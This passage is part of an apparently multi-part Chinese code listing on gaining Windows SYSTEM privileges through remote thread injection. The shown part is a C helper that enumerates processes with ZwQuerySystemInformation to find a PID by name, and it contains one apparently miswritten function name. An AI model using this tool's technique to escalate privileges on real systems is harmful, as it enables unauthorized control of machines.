|
远程线程注入版获取SYSTEM权限(7) } /* end of EnableCurrentProcessDebugPrivilege */ static DWORD GetPidFromProcessName ( wchar_t *ProcessName ) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; PSYSTEM_PROCESSES proc = NULL; ULONG delta = 0; DWORD pid = 0; for ( size = 1; ; size *= 2 ) { if ( NULL == ( buf = calloc( size, 1 ) ) ) { fprintf( stderr, "calloc( %u, 1 ) failed\n", size ); goto GetPidFromProcessName_exit; } status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL ); if ( !NT_SUCCESS( status ) ) { if ( STATUS_INFO_LENGTH_MISMATCH == status ) { free( buf ); buf = NULL; } else { PrintZwErrorCUI( "ZwQuerySystemInformation() failed", status ); goto GetPidFromProcessName_exit; } } else { break; } } /* end of for */ proc = ( PSYSTEM_PROCESSES )buf; do { if ( NULL != proc->ProcessName.Buffer ) { if ( 0 == _wCSicmp( ProcessName, proc->ProcessName.Buffer ) ) { pid = proc->ProcessId; break; } } delta = proc->NextEntryDelta; proc = ( PSYSTEM_PROCESSES )( ( char * )proc + delta ); } while ( 0 != delta ); GetPidFromProcessName_exit: if ( buf != NULL )
|